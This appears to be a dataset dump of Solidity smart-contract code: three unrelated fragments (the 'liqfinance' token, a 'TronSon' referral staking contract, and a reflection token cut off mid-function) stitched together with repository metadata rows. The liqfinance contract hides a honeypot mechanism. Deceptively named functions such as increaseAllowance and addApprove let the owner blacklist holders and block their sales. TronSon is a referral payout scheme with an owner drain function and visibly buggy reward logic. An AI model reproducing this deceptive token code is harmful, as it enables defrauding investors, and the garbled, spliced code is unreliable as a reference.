function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract liqfinance is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 257,014 | 10,955 |
83e2be93592422dd62d3762e9ebc8540be8d2830da28c1d4a05f02d26635198e
| 17,138 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVvpdnRy8YP7Dg7JZfQsCwbt44izQMpUMK_TronSon.sol
| 4,710 | 15,904 |
//SourceUnit: tron24.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TronSon is Ownable{
using SafeMath for uint256;
constructor()
{
pools[1]=500000; // 0.5%
pools[2]=750000; // 0.75%
pools[3]=1000000; // 1%
pools[4]=1500000; // 1.5%
pools[5]=3000000; // 3%
pools[6]=5000000; // 5%
}
struct User
{
address payable upline;
uint256 referrals;
uint256 TotalUserreferrals;
uint256 deposit_time;
uint256 total_deposits;
uint256 Amount;
uint256 Rewards;
uint256 Level;
uint256 entry_time;
uint256 index;
uint256 LevelTime;
uint256 totalReward;
}
struct user
{
uint256 rewardlevel;
}
uint256 public total_users;
uint256 public total_Withdrawn;
uint256 public TotalStake;
uint256 public TimePerHour = 2 hours;
uint256 public TotalAmount;
uint256 public TenPercentageAmount ;
uint256 public RemainingAmount ;
bool public StartSkaking;
bool public poolStatus;
mapping (uint256 => uint256) public pools;
mapping (uint256 => uint256) public poolAmount;
mapping(address => User) public users;
mapping(address => user) public users1;
mapping(uint256 => uint256) public poolTotalAmount;
address [] public Holders;
function _setUpline(address _addr, address payable _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != _owner && (users[_upline].deposit_time > 0 || _upline == _owner))
{
users[_addr].upline = _upline;
users[_upline].referrals++;
total_users++;
}
}
function _chakUpline(address _upline , address add) public view returns(bool result){
if(users[add].upline == address(0) && _upline != add && add != _owner && (users[_upline].deposit_time > 0 || _upline == _owner)) {
return true;
}
}
function Stake(address payable upline) public payable
{
require(poolStatus == true , "please start staking");
require(msg.value % 100 trx == 0 , "Invalid amount");
require(msg.value > 0 , "Invalid amount");
require(users[msg.sender].Amount == 0 , "user already exists");
require(StartSkaking == true , "please start staking");
_setUpline(msg.sender,upline);
payable(users[msg.sender].upline).transfer(users[msg.sender].Amount*10/100);
users[msg.sender].Amount = msg.value;
users[msg.sender].deposit_time = block.timestamp;
users[msg.sender].entry_time = block.timestamp;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].total_deposits += msg.value;
users[msg.sender].Level = 1;
Holders.push(msg.sender);
users[msg.sender].index = Holders.length-1;
TotalStake +=msg.value;
poolTotalAmount[1] = users[msg.sender].Amount;
}
function CalculateReward(address add) public view returns(uint256)
{
uint256 Reward;
if(users[add].totalReward <= users[add].Amount*350/100){
if(block.timestamp > users[add].deposit_time + TimePerHour)
{
Reward = (users[add].Amount.mul(pools[users[add].Level])).div(100);
}
}
return Reward/1000000;
}
function withdrawReward() public
{
require(users[msg.sender].Rewards > 0 , "reward not found");
require(poolStatus == true , "please start staking");
if(users1[msg.sender].rewardlevel == 1 && users[msg.sender].Rewards > 10000000)
{
users1[msg.sender].rewardlevel = 2;
payable(msg.sender).transfer(10000000*85/100);
users[msg.sender].Rewards = users[msg.sender].Rewards.sub(10000000);
users[msg.sender].totalReward = 10000000;
total_Withdrawn +=10000000;
}
else if(users1[msg.sender].rewardlevel == 2 && users[msg.sender].Rewards > 50000000)
{
users1[msg.sender].rewardlevel = 2;
payable(msg.sender).transfer(50000000*85/100);
users[msg.sender].Rewards = users[msg.sender].Rewards.sub(50000000);
users[msg.sender].totalReward = 50000000;
total_Withdrawn +=50000000;
}
else if(users1[msg.sender].rewardlevel == 3 && users[msg.sender].Rewards > 100000000)
{
payable(msg.sender).transfer(100000000*85/100);
users1[msg.sender].rewardlevel = 4;
users[msg.sender].Rewards = users[msg.sender].Rewards.sub(100000000);
users[msg.sender].totalReward = 100000000;
total_Withdrawn +=100000000;
}
else if(users1[msg.sender].rewardlevel == 5 && users[msg.sender].Rewards > 500000000)
{
payable(msg.sender).transfer(500000000*85/100);
users[msg.sender].Rewards = users[msg.sender].Rewards.sub(500000000);
users[msg.sender].totalReward = 500000000;
total_Withdrawn +=500000000;
}
}
function Claim() public
{
require(poolStatus == true , "please start staking");
require(block.timestamp > users[msg.sender].deposit_time + TimePerHour , "please wait");
if(users[msg.sender].totalReward <= users[msg.sender].Amount*350/100)
{
if(block.timestamp > users[msg.sender].deposit_time + TimePerHour)
{
users[msg.sender].Rewards += ((users[msg.sender].Amount.mul(pools[users[msg.sender].Level])).div(100)).div(1E6);
users[msg.sender].deposit_time = block.timestamp;
users1[msg.sender].rewardlevel = 1;
}
}
else
{
users[msg.sender].referrals = 0;
users[msg.sender].deposit_time = 0;
users[msg.sender].total_deposits = 0;
users[msg.sender].Amount = 0;
users[msg.sender].Level = 0;
users[msg.sender].entry_time = 0;
users[msg.sender].LevelTime =0;
for (uint256 z; z < Holders.length; z++)
{
for(uint i = users[msg.sender].index; i < Holders.length - 1; i++)
{
Holders[i] = Holders[i + 1];
}
Holders.pop();
}
users[msg.sender].index = 0;
}
if(users[msg.sender].Level == 1)
{
if(block.timestamp < users[msg.sender].LevelTime + 200 hours && users[msg.sender].referrals >= 25)
{
users[msg.sender].Level = 2;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[1] = poolTotalAmount[1] - users[msg.sender].Amount;
poolTotalAmount[2] = poolTotalAmount[2] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 96 hours && users[msg.sender].referrals >= 15)
{
users[msg.sender].Level = 2;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[1] = poolTotalAmount[1] - users[msg.sender].Amount;
poolTotalAmount[2] = poolTotalAmount[2] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 48 hours && users[msg.sender].referrals >= 5)
{
users[msg.sender].Level = 2;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[1] = poolTotalAmount[1] - users[msg.sender].Amount;
poolTotalAmount[2] = poolTotalAmount[2] + users[msg.sender].Amount;
}
}
else if(users[msg.sender].Level == 2)
{
if(block.timestamp < users[msg.sender].LevelTime + 240 hours && users[msg.sender].referrals >= 25)
{
users[msg.sender].Level = 3;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[2] = poolTotalAmount[2] - users[msg.sender].Amount;
poolTotalAmount[3] = poolTotalAmount[3] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 120 hours && users[msg.sender].referrals >= 15)
{
users[msg.sender].Level = 3;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[2] = poolTotalAmount[2] - users[msg.sender].Amount;
poolTotalAmount[3] = poolTotalAmount[3] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 60 hours && users[msg.sender].referrals >= 5)
{
users[msg.sender].Level = 3;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[2] = poolTotalAmount[2] - users[msg.sender].Amount;
poolTotalAmount[3] = poolTotalAmount[3] + users[msg.sender].Amount;
}
}
else if(users[msg.sender].Level == 3)
{
if(block.timestamp < users[msg.sender].LevelTime + 288 hours && users[msg.sender].referrals >= 25)
{
users[msg.sender].Level = 4;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[3] = poolTotalAmount[3] - users[msg.sender].Amount;
poolTotalAmount[4] = poolTotalAmount[4] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 144 hours && users[msg.sender].referrals >= 15)
{
users[msg.sender].Level = 4;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[3] = poolTotalAmount[3] - users[msg.sender].Amount;
poolTotalAmount[4] = poolTotalAmount[4] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 72 hours && users[msg.sender].referrals >= 5)
{
users[msg.sender].Level = 4;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[3] = poolTotalAmount[3] - users[msg.sender].Amount;
poolTotalAmount[4] = poolTotalAmount[4] + users[msg.sender].Amount;
}
}
else if(users[msg.sender].Level == 4)
{
if(block.timestamp < users[msg.sender].LevelTime + 96 hours && users[msg.sender].referrals >= 15)
{
users[msg.sender].Level = 5;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[4] = poolTotalAmount[4] - users[msg.sender].Amount;
poolTotalAmount[5] = poolTotalAmount[5] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 48 hours && users[msg.sender].referrals >= 5)
{
users[msg.sender].Level = 5;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[4] = poolTotalAmount[4] - users[msg.sender].Amount;
poolTotalAmount[5] = poolTotalAmount[5] + users[msg.sender].Amount;
}
}
else if(users[msg.sender].Level == 5)
{
if(block.timestamp < users[msg.sender].LevelTime + 120 hours && users[msg.sender].referrals >= 15)
{
users[msg.sender].Level = 6;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[5] = poolTotalAmount[5] - users[msg.sender].Amount;
poolTotalAmount[6] = poolTotalAmount[6] + users[msg.sender].Amount;
}
else if(block.timestamp < users[msg.sender].LevelTime + 60 hours && users[msg.sender].referrals >= 5)
{
users[msg.sender].Level = 6;
users[msg.sender].LevelTime = block.timestamp;
users[msg.sender].TotalUserreferrals =users[msg.sender].referrals;
users[msg.sender].referrals = 0;
poolTotalAmount[5] = poolTotalAmount[5] - users[msg.sender].Amount;
poolTotalAmount[6] = poolTotalAmount[6] + users[msg.sender].Amount;
}
}
}
function ChangePoolAmount(uint256 min , uint256 mix ,uint256 minamount,uint256 mixamount) public onlyOwner
{
poolTotalAmount[min] = poolTotalAmount[min] - minamount;
poolTotalAmount[mix] = poolTotalAmount[mix] + mixamount;
}
function emergencyWithdrawTRX(uint256 Amount) public onlyOwner
{
payable(msg.sender).transfer(Amount);
}
function ChangePercentage(uint256 poolamount , uint256 Amount) public onlyOwner
{
require(poolamount >= 1 && poolamount <= 6 , "invalid pool");
pools[poolamount] = Amount;
}
function Startstaking() public onlyOwner
{
StartSkaking = true;
}
function Start() public onlyOwner
{
poolStatus = true;
}
function Stop() public onlyOwner
{
poolStatus = false;
}
}
| 305,355 | 10,956 |
48c85594db8af1a83a097515c3ddf4e5bb19f52e93ff3dfcb47358f2239b8a1f
| 18,818 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/94/94Ee761cC2209Ee243E6a278aEfdFD954EAa5007_GOAL.sol
| 4,184 | 15,787 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GOAL is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'GOAL';
string private _symbol = 'GOAL';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
